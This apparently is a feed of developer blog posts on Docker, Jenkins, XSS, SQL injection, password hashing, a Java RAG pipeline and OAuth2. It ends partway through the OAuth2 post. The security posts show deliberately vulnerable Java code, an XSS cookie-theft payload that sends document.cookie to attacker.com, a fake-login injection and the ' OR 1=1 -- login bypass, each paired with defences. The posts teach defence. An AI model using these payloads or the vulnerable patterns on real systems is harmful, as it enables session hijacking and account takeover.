Docker packages applications and their dependencies in a portable and isolated way without requiring a full guest operating system.

Understanding this distinction is one of the key concepts in containerization.

💡 Key Takeaway
Docker does not replace your application.

Docker packages your application together with its runtime and dependencies so it can run consistently across different environments.

Understanding the difference between an image and a container is one of the most important Docker concepts.

Future Enhancements

Once comfortable with this example, you can explore:

Docker volumes
Docker networking
Docker Compose
Multi-container applications
Docker Hub
Jenkins + Docker integration
Kubernetes

The concepts learned in this article form the foundation for all of them.

Final Thoughts

Docker can seem intimidating when first encountered through large production deployments.

Starting with a tiny application makes the learning process much easier.

A simple Python script is enough to understand:

Images
Containers
Dockerfiles
Build process
Container execution

Once these fundamentals become clear, moving toward real-world containerized applications becomes much more natural.

If you're new to Docker, try building this example yourself before moving on to Docker Compose, Kubernetes, or cloud deployments. The concepts learned here will transfer directly to larger containerized systems.

Understanding Jenkins CI/CD Using a Tiny Java Project (A Beginner-Friendly Walkthrough)

Sanjay Ghosh — Mon, 01 Jun 2026 04:13:19 +0000

Understanding Jenkins CI/CD Using a Tiny Java Project

Most Jenkins tutorials immediately jump into Docker, Kubernetes, Maven, cloud deployments, and enterprise-scale architectures.

For someone learning CI/CD for the first time, that can become overwhelming very quickly.

In this article, we'll build a very lightweight but real Jenkins pipeline using a simple Java application. The goal is to understand how Jenkins works behind the scenes before introducing more advanced DevOps tools.

This example demonstrates:

Pipeline stages
Compilation
Program execution
Artifact generation
Artifact archiving
Jenkins workspace concepts
Console output debugging

without introducing unnecessary complexity.

Why This Example?

Whether you're building:

A Java application
A Spring Boot service
A Docker image
A Kubernetes deployment

the fundamental Jenkins workflow remains largely the same:

Source Code
    ↓
Build
    ↓
Test
    ↓
Package
    ↓
Deploy

Understanding this flow first makes learning advanced CI/CD concepts much easier.

Figure 1: Simplified Jenkins CI/CD flow used throughout this tutorial.

Environment

The following environment was used:

Ubuntu 24.04 LTS
OpenJDK 17
Git
Jenkins

Jenkins Installation

Before creating Jenkins pipelines, Jenkins must be installed on the system.

Since Jenkins runs on Java, Java must be installed first.

Update Package Information

sudo apt update

Verify Java Installation

java -version

If Java is not installed:

sudo apt install openjdk-17-jdk

Verify Java again:

java -version

Add Jenkins Repository Key

curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | sudo tee \
/usr/share/keyrings/jenkins-keyring.asc > /dev/null

Add Jenkins Repository

echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] \
https://pkg.jenkins.io/debian-stable binary/ | sudo tee \
/etc/apt/sources.list.d/jenkins.list > /dev/null

Update Package Information Again

sudo apt update

Install Jenkins

sudo apt install jenkins

Start Jenkins Service

sudo systemctl start jenkins

Enable Jenkins at Startup

sudo systemctl enable jenkins

Verify Jenkins Status

sudo systemctl status jenkins

Open Jenkins in Browser

http://localhost:8080

During the first login, Jenkins requests an administrator password.

Retrieve it using:

sudo cat /var/lib/jenkins/secrets/initialAdminPassword

Copy the password and complete the Jenkins setup wizard.

Project Structure

The project is intentionally very small.

calculator-app/
│
├── src/
│   └── Main.java
│
└── Jenkinsfile

Java Application

Create:

src/Main.java

public class Main {

    public static void main(String[] args) {

        int a = 10;
        int b = 20;

        int sum = a + b;

        System.out.println("Sum = " + sum);
    }
}

When executed:

Sum = 30

Although the application is tiny, it exercises the same Jenkins concepts used in larger CI/CD pipelines.

Jenkins Pipeline

Create:

Jenkinsfile

pipeline {

    agent any

    stages {

        stage('Preparation') {
            steps {
                echo 'Preparing build environment...'
            }
        }

        stage('Compile') {
            steps {

                dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app') {

                    echo 'Compiling Java program...'

                    sh 'javac src/Main.java'
                }
            }
        }

        stage('Run Program') {
            steps {

                dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app') {

                    echo 'Running Java program...'

                    sh 'java -cp src Main > output.txt'
                }
            }
        }

        stage('Archive Output') {
            steps {

                dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app') {

                    archiveArtifacts artifacts: 'output.txt'
                }
            }
        }

        stage('Deploy Simulation') {
            steps {
                echo 'Deploying application...'
            }
        }
    }

    post {

        success {
            echo 'Pipeline executed successfully!'
        }

        failure {
            echo 'Pipeline failed!'
        }
    }
}

Note

For simplicity, this tutorial uses a hardcoded project path:
dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app')
This was intentionally done to demonstrate an important Jenkins workspace concept and keep the example lightweight.

In real-world CI/CD pipelines, Jenkins typically checks out source code directly from a Git repository into its workspace.

A more typical approach would look like:
stage('Checkout') {
    steps {
        git 'https://github.com/your-username/calculator-app.git'
    }
}

stage('Compile') {
    steps {
        sh 'javac src/Main.java'
    }
}
The purpose of this article is to focus on understanding pipeline execution, workspaces, artifacts, and build flow before introducing Git integration.

Understanding Each Stage

Preparation

echo 'Preparing build environment...'

This stage simulates environment preparation.

In larger projects, this could include:

Loading credentials
Installing dependencies
Setting environment variables

Compile

sh 'javac src/Main.java'

Compiles the Java source code.

If compilation fails, the pipeline stops immediately.

Run Program

sh 'java -cp src Main > output.txt'

Executes the application and redirects the output to:

output.txt

Contents:

Sum = 30

Archive Output

archiveArtifacts artifacts: 'output.txt'

Stores the generated file inside Jenkins for later access.

Deploy Simulation

echo 'Deploying application...'

In a production pipeline, this stage could:

Deploy Docker containers
Copy files to servers
Deploy applications to Kubernetes
Restart services

Creating the Jenkins Pipeline Job

After logging into Jenkins:

Click:

New Item

Enter:

calculator-pipeline

Select:

Pipeline

Click OK
Under:

Definition

Choose:

Pipeline Script

Paste the Jenkinsfile content.
Save.
Click:

Build Now

CI/CD Flow Visualization

          Java Source Code
                  │
                  ▼
      Jenkins Pipeline Starts
                  │
                  ▼
             Compile
                  │
                  ▼
             Execute
                  │
                  ▼
        Generate Artifact
                  │
                  ▼
        Archive Artifact
                  │
                  ▼
          Post Actions

Although this example is small, enterprise pipelines follow the same basic pattern.

Understanding Jenkins Workspaces

One of the most important Jenkins concepts is the workspace.

When Jenkins executes a build, it typically runs inside:

/var/lib/jenkins/workspace/calculator-pipeline

My initial build failed because Jenkins could not locate:

src/Main.java

The source code existed outside the Jenkins workspace.

The solution was:

dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app') {

    sh 'javac src/Main.java'
}

This temporarily changes the working directory before executing commands.

Understanding workspaces will save significant debugging time when building larger pipelines.

Console Output

A successful build produced output similar to:

Preparing build environment...
Compiling Java program...
Running Java program...
Pipeline executed successfully!

The Jenkins Console Output page is often the first place you'll inspect when troubleshooting build failures.

Generated Artifact

The pipeline generated:

output.txt

Contents:

Sum = 30

Real-world pipelines commonly generate:

JAR files
WAR files
Test reports
Coverage reports
Docker images
Deployment packages

The concept remains identical.

The Most Important Lesson

💡 Key Takeaway

Jenkins does not compile Java, build Docker images, or deploy applications itself.

Jenkins is an automation server that orchestrates external tools and commands.

Understanding this distinction is one of the most important concepts in DevOps and CI/CD.

When Jenkins executes:

sh 'javac src/Main.java'

it is simply asking the operating system to run the Java compiler.

Likewise:

sh 'docker build .'

asks Docker to build an image.

Jenkins orchestrates tools—it does not replace them.

Understanding this distinction is fundamental to learning DevOps and CI/CD.

Future Enhancements

Once comfortable with this example, you can gradually introduce:

Git integration
Automatic build triggers
Maven builds
Unit testing
Docker integration
Tomcat deployment
Kubernetes deployment
Full CI/CD automation

The core Jenkins concepts remain exactly the same.

Final Thoughts

Many engineers first encounter Jenkins through large enterprise pipelines that can feel intimidating.

Starting with a tiny project makes the learning process much easier.

A simple Java application is enough to understand:

Pipeline stages
Build execution
Artifacts
Workspaces
Automation flow

Once these fundamentals become clear, moving toward Docker, Kubernetes, and enterprise CI/CD becomes much more natural.

Sometimes the best way to understand a large system is to begin with the smallest possible working example.

If you're new to Jenkins, try building this example yourself before moving on to Maven, Docker, or Kubernetes. The concepts learned here will transfer directly to larger CI/CD pipelines.

XSS Explained: How Attackers Execute JavaScript Inside Your Application

Sanjay Ghosh — Tue, 05 May 2026 22:30:33 +0000

Hook

What if an attacker could execute JavaScript inside your users’ browsers — using nothing more than a comment box?
That’s exactly what Cross-Site Scripting (XSS) enables.

Let’s break down how this actually happens in real applications.

What is XSS?

The flow of a typical XSS attack is illustrated above.

Cross-Site Scripting happens when an application renders untrusted user input directly into a web page.
Instead of displaying the input as plain text, the browser interprets it as executable JavaScript.

This allows attackers to run malicious code in another user’s browser — under your application’s trusted domain.

Types of XSS

✔ Stored XSS
Attacker submits malicious input.
Application stores it in database.
Every user who loads the page executes it.

Example scenario:
Comment section
✔ Reflected XSS
Input comes from request (URL/form)
Reflected immediately

Example:
Search page
✔ DOM-based XSS
No server involvement.
Client-side JavaScript inserts attacker-controlled data into DOM.
While these types differ in how the payload is delivered, the core issue is the same: untrusted input is executed as code.

Practical Example

❌ Vulnerable Example (Java/JSP)
String comment = request.getParameter("comment"); saveComment(comment);
Later Rendered:
<div><%= comment %></div>
The application assumes the comment is harmless text.
But the browser has no way to know that.

💥 Attack Input
<script>alert('XSS')</script>
When rendered:
<div><script>alert('XSS')</script></div>

Browser executes it.
The browser has no way to distinguish between legitimate code and attacker-injected code.
Instead of displaying text, the browser executes JavaScript.

Escalate Attack (Attacker Mindset)

Cookie Theft Example

<script> fetch("https://attacker.com/steal?cookie=" + document.cookie); </script>
This sends victim session cookies to attacker.
If session cookies are not protected, attacker may hijack active sessions.
This works because browsers automatically include cookies with requests to the same domain.

Fake Login Form

<script> document.body.innerHTML = '<h2>Session Expired</h2><input placeholder="Password">'; </script>
Attacker replaces page content with fake UI.
Users unknowingly enter credentials.

Real Impact

Session hijacking

Attacker steals authenticated session.

Account takeover

Victim account accessed without password.

Data theft

Sensitive page data can be extracted.

Phishing inside app
This is especially dangerous because users trust your domain.
Users are far more likely to trust fake prompts when they appear inside a legitimate application they already trust.

The dangerous part about XSS is that it doesn’t attack your backend — it exploits the trust between your application and your users.

How to Prevent XSS

✅ Output Encoding

Escape special characters
Convert < →<
👉 Key idea:
Treat user input as data, not HTML
Unsafe:
<div><%= userInput %></div>

Safe:
<div><c:out value="${userInput}" /></div>

Special characters become text:
<script> becomes visible text instead of executable code.

Method	Browser Sees (Source Code)	Browser Does
`<c:out>`	`<script>evil()</script>`	Displays literal text on screen.
`<%= %>`	`<script>evil()</script>`	Executes the script immediately.

✅ Framework Protection

Modern frameworks escape by default.
React (safe)
<div>{userInput}</div>
Dangerous
<div dangerouslySetInnerHTML={{ __html: userInput }} />

Usually, when you render data in React using curly braces {userContent}, React automatically escapes the content. This means it treats everything—including HTML tags—as literal text, preventing malicious scripts from executing.

When you use dangerouslySetInnerHTML, you are telling React to skip that protection and inject the raw string directly into the DOM

✅ ####Content Security Policy
Restrict script execution
Content-Security-Policy: default-src 'self'; script-src 'self';
Even if script injection happens, browser blocks unauthorized script execution.

Common Mistakes

Trusting user input

Never assume users behave correctly.

Using innerHTML

Unsafe:
element.innerHTML = userInput;
Safe:
element.textContent = userInput;

Disabling escaping

Framework protections exist for a reason.

Final Thoughts

Think like an attacker:

Ask:

Can I inject script here?
Will the browser execute it?
Can I steal trust from this page?

XSS is dangerous because it doesn’t attack your server directly — it attacks your users through your application.

If your application renders user input without proper encoding, you’re handing attackers control of your users’ browsers.

In XSS, the attacker doesn’t break your system — they use it against your users.

Always treat user input as data — never as code.

SQL Injection Explained: How Hackers Bypass Login Forms (and How to Stop Them)

Sanjay Ghosh — Sat, 25 Apr 2026 03:46:21 +0000

Even today, a single poorly written SQL query can allow an attacker to bypass authentication or expose sensitive data.

And the scary part? It often comes down to just one line of code.

In the previous articles, we saw how small implementation decisions can introduce serious vulnerabilities. SQL Injection is one of the clearest examples of this—simple to understand, yet still widely exploited.

What is SQL Injection?

SQL Injection occurs when untrusted user input is included directly in a SQL query.

Instead of being treated as data, the input is interpreted as part of the SQL command itself. This allows attackers to manipulate queries and control how the database behaves.

How SQL Injection Works

Consider a typical login query:
SELECT * FROM users WHERE username = 'input' AND password = 'input';
The application expects input to be normal user data.

But what if an attacker provides this instead?
' OR 1=1 --

OR 1=1 → always true
-- → comments out the rest of the query 👉 The database ends up executing a modified query that ignores authentication checks.

A Simple Login Bypass Example (Java)

Let’s look at how this vulnerability often appears in real code.

❌ Vulnerable Implementation

String username = request.getParameter("username");
String password = request.getParameter("password");

String query = "SELECT * FROM users WHERE username = '" 
             + username + "' AND password = '" + password + "'";

Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

⚠️ What’s the problem?

User input is directly concatenated into the SQL query
No separation between code and data
The database cannot distinguish between intended query logic and attacker input

💥 Attack Input

username: admin password: ' OR 1=1 --

💣 Resulting Query

SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1 --'
👉 The condition OR 1=1 is always true, so the query returns results regardless of the password.

Result: Authentication is bypassed.

Real-World Impact

SQL Injection is not just theoretical—it can lead to serious consequences:

Unauthorized login (authentication bypass)
Exposure of sensitive data
Modification or deletion of database records
Full database compromise

How to Prevent SQL Injection

Preventing SQL Injection is straightforward—but only if done correctly.

✅ 1. Use Prepared Statements (Java)

String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);

ResultSet rs = pstmt.executeQuery();

👉 Why this works:

Query structure is fixed
User input is treated strictly as data, not executable SQL

✅ 2. Use ORM Frameworks (JPA / Hibernate)

User user = userRepository.findByUsernameAndPassword(username, password);

👉 ORMs generate parameterized queries internally, which helps reduce the risk of SQL injection when used correctly.

✅ 3. Input Validation (Defense-in-Depth)

Limit input length
Restrict allowed characters

⚠️ Important: Input validation alone is not sufficient to prevent SQL Injection.
Most SQL injection vulnerabilities don’t happen because developers don’t know about them — they happen because of small shortcuts taken under time pressure.

✅ 4. Principle of Least Privilege

Database users should have only the permissions they need
Avoid using admin/root credentials for application access

Common Mistakes to Avoid

Relying only on input validation
Manually escaping strings instead of using parameterized queries
Trusting frontend validation
Logging raw queries with sensitive data

Final Thoughts

SQL Injection isn’t a complex attack—it’s usually the result of a simple coding mistake.

But its impact can be severe.

As a developer, the takeaway is clear:
👉 Never trust user input
👉 Always separate data from code

Small decisions in how you write queries can determine whether your application is secure—or completely exposed.

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples)

Sanjay Ghosh — Sun, 19 Apr 2026 18:54:23 +0000

What if I told you that even if you hash passwords, an attacker might still crack them in seconds?

Authentication is one of the most critical parts of any application—and also one of the most misunderstood.

In this post, we’ll think like an attacker, break insecure implementations using Java examples, and then progressively strengthen our defenses using hashing and salting.
If you’ve ever stored a password using only hashing, your system may still be vulnerable.

🧠 1. Why Authentication Security Matters

When authentication fails, everything fails:

Account takeover
Data breaches
Privilege escalation

To build secure systems, we must first understand how attackers operate.

⚔️ 2. How Attackers Break Authentication

(i). Brute Force Attack

Attacker tries all possible passwords until one works.
👉 Works because:

Users choose weak passwords
Systems don’t limit attempts

(ii). Dictionary Attack

Instead of all combinations, attacker uses a list of common passwords:
123456 password admin welcome123

(iii). Rainbow Table Attack

Attacker precomputes hashes:
password → hash1 admin → hash2
Then instantly matches stolen hashes.
👉 Extremely fast if no salt is used

(iv). Session Attacks (brief)

Focus on hijacking authenticated sessions (cookies, tokens).
👉 Important, but outside this blog’s main focus.

🔴 3. Thinking Like an Attacker: Breaking Weak Authentication

3.1 Brute Force Simulation (Java)

package com.auth;

public class BruteForceDemo {

    public static void main(String[] args) {

        String actualPassword = "1234";

        for (int i = 0; i <= 9999; i++) {
            String guess = String.format("%04d", i);

            System.out.println("Trying: " + guess);

            if (guess.equals(actualPassword)) {
                System.out.println("==> Password found: " + guess);
                break;
            }
        }
    }
}

👉 This works because:

Password is short and predictable
No rate limiting

3.2 Hashing Alone is NOT Enough

Let’s say system stores:
hash(password)
Java Example

package com.auth;

import java.security.MessageDigest;

public class HashAttackDemo {

    public static String hash(String input) throws Exception {
        MessageDigest md = MessageDigest.getInstance("SHA-256");
        byte[] digest = md.digest(input.getBytes());

        StringBuilder hex = new StringBuilder();
        for (byte b : digest) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    }

    public static void main(String[] args) throws Exception {

        String storedHash = hash("password");

        String[] guesses = {"123456", "password", "admin"};

        for (String guess : guesses) {
            if (hash(guess).equals(storedHash)) {
                System.out.println("==> Cracked: " + guess);
            }
        }
    }
}

👉 Even though password is hashed, attacker can still:

Hash guesses
Compare results

3.3 Rainbow Table Attack (Precomputation)

package com.auth;

import java.security.MessageDigest;
import java.util.HashMap;
import java.util.Map;

public class RainbowTableDemo {

    public static String hash(String input) throws Exception {
        MessageDigest md = MessageDigest.getInstance("MD5");
        byte[] digest = md.digest(input.getBytes());

        StringBuilder hex = new StringBuilder();
        for (byte b : digest) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    }

    public static void main(String[] args) throws Exception {

        String[] passwords = {"123456", "password", "admin"};

        Map<String, String> table = new HashMap<>();

        for (String pwd : passwords) {
            table.put(hash(pwd), pwd);
        }

        String stolenHash = hash("password");

        if (table.containsKey(stolenHash)) {
            System.out.println("==> Instantly cracked: " + table.get(stolenHash));
        }
    }
}

👉 No guessing needed — just lookup.

🛡️ 4. Why SALT Changes Everything

4.1 Why SALT is Needed

Problem:
password → same hash everywhere
Solution:
hash(password + salt)
👉 Makes each hash unique
4.2 SALT Implementation (Java)

package com.auth;

import java.security.MessageDigest;
import java.security.SecureRandom;
import java.util.Base64;

public class SaltedHashDemo {

    public static String generateSalt() {
        byte[] salt = new byte[16];
        new SecureRandom().nextBytes(salt);
        return Base64.getEncoder().encodeToString(salt);
    }

    public static String hash(String password, String salt) throws Exception {
        MessageDigest md = MessageDigest.getInstance("SHA-256");
        byte[] digest = md.digest((password + salt).getBytes());

        StringBuilder hex = new StringBuilder();
        for (byte b : digest) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    }

    public static void main(String[] args) throws Exception {

        String password = "password";
        String salt = generateSalt();

        String hashed = hash(password, salt);

        System.out.println("Salt: " + salt);
        System.out.println("Hash: " + hashed);
    }
}

4.3 How SALT Breaks Rainbow Attacks

password + salt1 → hash1 password + salt2 → hash2

👉 Same password ≠ same hash
👉 Rainbow tables become useless

🔴 5. Attacker vs SALT

5.1 Attacking Salted Hashes (Java)

package com.auth;

import java.security.MessageDigest;

public class SaltedAttackDemo {

    public static String hash(String password, String salt) throws Exception {
        MessageDigest md = MessageDigest.getInstance("SHA-256");
        byte[] digest = md.digest((password + salt).getBytes());

        StringBuilder hex = new StringBuilder();
        for (byte b : digest) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    }

    public static void main(String[] args) throws Exception {

        String salt = "randomSalt123";
        String storedHash = hash("password", salt);

        String[] dictionary = {"123456", "password", "admin"};

        for (String guess : dictionary) {
            if (hash(guess, salt).equals(storedHash)) {
                System.out.println("==> Cracked even with salt: " + guess);
            }
        }
    }
}

👉 Salt does NOT stop guessing — only slows it down.

5.2 Cost Explosion

Without salt:
1M guesses → cracks many users
With salt:
1M users × 1M guesses = 1 trillion operations

Source Code

All source files are available on GitHub:
Github source codes

👉 This is where salt becomes powerful.

⚠️ 6. What SALT Does NOT Solve

Weak passwords (still crackable)
Fast hashing (SHA-256 is too fast)
GPU-based attacks

👉 SALT makes attacks harder—but not impossible.
Attackers can still:

Perform brute force attacks
Use GPUs to compute hashes at scale
Target weak passwords

This is why modern systems go beyond

🚀 Final Defense: Modern Password Hashing
Use:

Why:

Built-in salt
Slow hashing (costly per attempt)
Resistant to GPU attacks

🧠 7.Conclusion

Authentication security evolves like this:
Plain text → completely broken Hash only → still vulnerable Salted hash → better Salt + slow hashing → strong defense

👉 Security is not about making attacks impossible,
👉 It’s about making them economically infeasible.

💡 8.Final Thought

Think like an attacker:

Can I guess this password?
Can I reuse work?
Can I scale this attack?

Good security doesn’t make attacks impossible—it makes them impractical.

As a developer, your goal isn’t to stop attackers completely, but to ensure that breaking your system is simply not worth the effort.

Understanding Common Cybersecurity Attacks: A Practical Overview

Sanjay Ghosh — Tue, 14 Apr 2026 18:10:37 +0000

Modern applications are more powerful and interconnected than ever—but with that power comes increased exposure to security risks. Whether you're building a small backend service or a large distributed system, security is no longer optional.

Before diving into specific vulnerabilities, it’s important to understand why cybersecurity matters and how common attacks are structured.

Why Cybersecurity Matters in Modern Applications

🔐 Data Protection & Privacy

Modern applications handle large amounts of sensitive data—personally identifiable information (PII), financial records, and intellectual property. This makes them prime targets for attackers.

🏢 Maintaining Trust & Reputation

Users trust applications with their personal and financial data. A single breach can damage reputation, erode customer trust, and lead to significant financial loss.

⚖️ Regulatory Compliance

Organizations must comply with regulations such as GDPR and industry standards. Failing to do so can result in heavy fines and legal consequences.

⚙️ System Integrity & Availability

Security controls such as encryption and access management ensure that systems remain reliable, tamper-proof, and available—even under attack.

🚀 Defending Against Sophisticated Threats

As technologies like cloud computing and AI evolve, so do attack techniques—ransomware, phishing, and zero-day exploits are becoming more advanced.

🌐 Protecting Interconnected Systems

Modern systems rely heavily on APIs, microservices, and IoT devices. A vulnerability in one component can compromise the entire ecosystem.

The Role of OWASP (Open Worldwide Application Security Project)

Learn more: https://owasp.org/
When discussing application security, it’s hard to ignore OWASP.

OWASP is a nonprofit foundation that provides open-source resources, tools, and best practices to help developers build secure applications.

One of its most well-known contributions is the OWASP Top 10, which highlights the most critical web security risks.

OWASP Top 10 (2025)

Full list: https://owasp.org/Top10/2025/

A01: Broken Access Control
A02: Security Misconfiguration
A03: Software Supply Chain Failures
A04: Cryptographic Failures
A05: Injection
A06: Insecure Design
A07: Authentication Failures
A08: Software or Data Integrity Failures
A09: Security Logging and Alerting Failures
A10: Mishandling of Exceptional Conditions

These categories are widely used as a baseline for secure application design.

A Simple Classification of Cybersecurity Attacks

To make sense of the landscape, we can group common attacks into four practical categories:

Web Attacks
Authentication Attacks
Network Attacks
Human (Social Engineering) Attacks

Some threats span multiple areas, so we’ll also note a few cross-category cases.

🌐 Web Attacks (Application Layer)

These target application logic, APIs, and user input handling.

Injection Attacks (SQL, Command, LDAP)

→ Example: ' OR 1=1 -- login bypass
Cross-Site Scripting (XSS)

→ Injecting malicious JavaScript into web pages
Cross-Site Request Forgery (CSRF)

→ Forcing a logged-in user to perform unintended actions
Broken Access Control

→ Accessing unauthorized data (e.g., changing /user/123 to /user/124)
Security Misconfiguration

→ Default credentials, open ports, debug settings
Insecure Deserialization

→ Executing malicious code via manipulated serialized objects

🔑 Authentication Attacks

These focus on compromising login systems and user identities.

Brute Force / Dictionary Attacks
Session Hijacking / Fixation
Rainbow Table Attacks (password hash cracking technique)

🧠 Network Attacks

These target communication between systems.

Man-in-the-Middle (MITM)

→ Intercepting data in transit
Denial of Service (DoS / DDoS)
→ Overwhelming systems to make them unavailable

🧑‍💻 Human Attacks (Social Engineering)

These exploit human behavior rather than systems.

Phishing (Email, SMS, Voice)

→ Trick users into revealing sensitive data
💡 These are among the most successful real-world attacks.

🔄 Cross-Category / Special Cases

Some threats don’t fit neatly into one category:

Malware (virus, ransomware, spyware)
Zero-day exploits (attacks on unknown vulnerabilities) These can impact multiple layers—from applications to networks to users.

A Quick Example: How Vulnerabilities Start in Code

At this point, you might be wondering:
“These attacks sound serious—but how do they relate to the code we write every day?”

Let’s look at a simple backend example that illustrates how easily security vulnerabilities can be introduced.

This example focuses on password handling, but the same principle applies across all categories—small implementation choices can introduce major vulnerabilities.

Security vulnerabilities are often not caused by complex systems—but by small, overlooked decisions in everyday code.

❌ Insecure Approach: Plain Text Storage

String password = "admin123";
String stored = password; // storing plain text ❌

If a database is compromised, attackers immediately gain access to user passwords.

⚠️ Slightly Better: Hashing (But Still Weak)

MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] hash = md.digest(password.getBytes());

Hashing improves security, but it’s still vulnerable to precomputed attacks (like rainbow tables).

✅ Better Approach (Conceptual)

String saltedPassword = password + randomSalt;

Adding randomness makes attacks significantly harder.

We’ll explore why this matters in detail when we dive into authentication attacks in the next article.

Final Thoughts

Cybersecurity isn’t just about preventing attacks—it’s about building systems that are resilient by design.

As we’ve seen:

Attacks can target applications, networks, and even people
Many vulnerabilities originate from small design or coding decisions
Understanding attack patterns is the first step toward preventing them

What’s Next?
In the next article, we’ll take a deeper look at authentication attacks, including:

How attackers crack passwords
What rainbow table attacks are
Why techniques like salting are critical

Build a RAG Pipeline in Java (Text Vector LLM, No Paid APIs)

Sanjay Ghosh — Wed, 01 Apr 2026 23:23:34 +0000

Ever asked an LLM a question about your own data and received an incorrect or generic answer?

That’s because Large Language Models (LLMs) don’t know your private data.

In this article, we’ll build a complete Retrieval-Augmented Generation (RAG) pipeline using:

Java
PostgreSQL (with vector support)
Ollama (local LLM + embeddings)

👉 No OpenAI / No paid APIs
👉 Fully local
👉 Practical and production-relevant

🧠 What is RAG?

Retrieval-Augmented Generation (RAG) is an architecture that improves LLM responses by:

Retrieving relevant data from a knowledge source
Passing that data to the LLM
Generating an answer grounded in that context

In simple terms:

Instead of guessing, the model first looks up relevant information and then answers.

🔍 Why Do We Need RAG?

LLMs are powerful, but they have limitations:

❌ They don’t know your private/company data
❌ Their knowledge is static
❌ They can hallucinate

RAG solves this by combining:

Your data (database)
Smart retrieval (vector search)
LLM reasoning (generation)

📊 RAG Flow (This Project)

We will implement this pipeline:
Text → Embedding → Store in DB

Query → Embedding
↓
Vector Search (Top K)
↓
Pass to LLM
↓
Final Answer

⚙️ Prerequisites

1. Install PostgreSQL

Make sure PostgreSQL is installed and running.

2. Install Ollama (Local LLM)

sudo apt-get install zstd
curl -fsSL https://ollama.com/install.sh | sh

3. Pull Required Models

# LLM (for answer generation)
ollama pull llama3

# Embedding model
ollama pull nomic-embed-text

4. Verify Installation

ollama run llama3
If it responds, you’re ready.

🟢 Phase 1: Indexing (Store Data)

In this phase, we:

Convert text → vector (embedding)
Store it in PostgreSQL

Why Embeddings?

Embeddings convert text into numbers so we can measure similarity.
Example:
"OAuth authentication" → [0.12, -0.98, 0.45, ...]

Database Table

CREATE TABLE text_embeddings ( id SERIAL PRIMARY KEY, content TEXT, embedding VECTOR(768) );

Key Class: EmbeddingService.java

Calls Ollama
Converts text → vector

Snippet

ClassicHttpResponse response = (ClassicHttpResponse) Request.post("http://localhost:11434/api/embeddings")
                .bodyString(body.toString(), ContentType.APPLICATION_JSON)
                .execute()
                .returnResponse();

This returns a numerical vector representation of the input text, which we store in the database.

Key Class: StorageService.java

Stores text + embedding into PostgreSQL

PreparedStatement ps = conn.prepareStatement(
            "INSERT INTO text_embeddings (content, embedding) VALUES (?, ?::vector)"
        );

        ps.setString(1, text);
        ps.setString(2, vector);

        ps.executeUpdate();

Each piece of text is stored along with its vector representation.

🔵 Phase 2: Query (RAG Flow)

Step 1: User Query

"What is OAuth?"

Step 2: Convert Query → Embedding

Same process as storing text.

Step 3: Retrieve Relevant Data

SELECT content
FROM text_embeddings
ORDER BY embedding <-> ?::vector
LIMIT 3;
👉 This finds the most similar text chunks

Key Class: Retriever.java

This is the R (Retrieval) in RAG.

        PreparedStatement ps = conn.prepareStatement(
            """
            SELECT content
            FROM text_embeddings
            ORDER BY embedding <-> ?::vector
            LIMIT ?
            """
        );

        ps.setString(1, vector);
        ps.setInt(2, topK);

        ResultSet rs = ps.executeQuery();

Step 4: Generate Answer Using LLM

We pass retrieved data to the LLM:

Context:
OAuth 2.0 is an authorization framework...

Question:
What is OAuth?

👉 The LLM generates a clean answer.

Key Class: LLMService.java

This is the G (Generation) in RAG.
Passing Context to the LLM

        String prompt = """
                        Answer briefly in 2-3 sentences.

                        Context:
                        %s

                        Question:
                        %s
                        """.formatted(context, query);

We inject retrieved data into the prompt so the LLM generates grounded answers.

🧪 Sample Output
--- Retrieved Context ---
OAuth 2.0 is an authorization framework.
JWT is used for secure authentication.

--- Final Answer ---
OAuth is an authorization framework used to grant access to resources...
🧠 What’s Really Happening?

This is the most important part to understand:

Component Role
Database Stores knowledge
Retriever Finds relevant information
LLM Generates answer

👉 The LLM does NOT retrieve data
👉 The database does NOT generate answers

💻 Full Code

The project includes:

EmbeddingService.java
StorageService.java
Retriever.java
LLMService.java
RAGApp.java
pom.xml

👉 GitHub Repository

https://github.com/knowledgebase21st/Software-Engineering/tree/dev/AI/RAG

🚀 Why This Approach is Powerful

Works with your own data
Reduces hallucination
Fully offline (with Ollama)
Production-ready pattern

✅ Conclusion

We built a complete RAG pipeline using Java, PostgreSQL, and Ollama.

This approach combines:

Your data
Smart retrieval
LLM reasoning

Result:
Accurate, context-aware answers using your own knowledge base.

Understanding OAuth2 Flow with a Complete Java Servlet Demo (Step-by-Step)

Sanjay Ghosh — Wed, 25 Mar 2026 21:30:07 +0000

OAuth2 is everywhere.

“Login with Google”
“Continue with GitHub”
“Sign in with Microsoft”

We use it daily—but when it comes to explaining how it actually works, things quickly get confusing.

Most tutorials either:

Explain only the theory ❌
Or show isolated code without context ❌

Very few connect the full flow end-to-end.

🎯 What This Article Does Differently

In this article, we will:

Break down the 4 core actors
Walk through the entire OAuth2 flow
Map each step to working Java servlet code
Build a complete runnable demo

🧠 The Key Idea (Read This First)

OAuth2 is not about authentication.

It is about delegating access.

Instead of giving your username/password to an application, you allow it to access your data using a token issued by a trusted server.

🔷 Actors in OAuth2

This framework involves four key roles:

1. Resource Owner (User)

The user who owns the data
Grants or denies access

2. Client (Application)

The application requesting access to user data

3. Authorization Server

Authenticates the user
Issues authorization code and access token

4. Resource Server

Hosts protected data
Validates access tokens before responding

🔷 Real-World Example

A common example is “Login with Google”.

User → You
Client → Airbnb
Authorization Server → Google
Resource Server → Google APIs

Flow:

You click “Login with Google”
You are redirected to Google
You login and click Allow
Google sends a **code **to the client
Client exchanges code for token
Client fetches your data using the token

👉 This is exactly what we will implement.

🔷 High-Level Flow

Client requests authorization from the user
User authenticates and grants/denies access
Authorization Server returns an authorization code
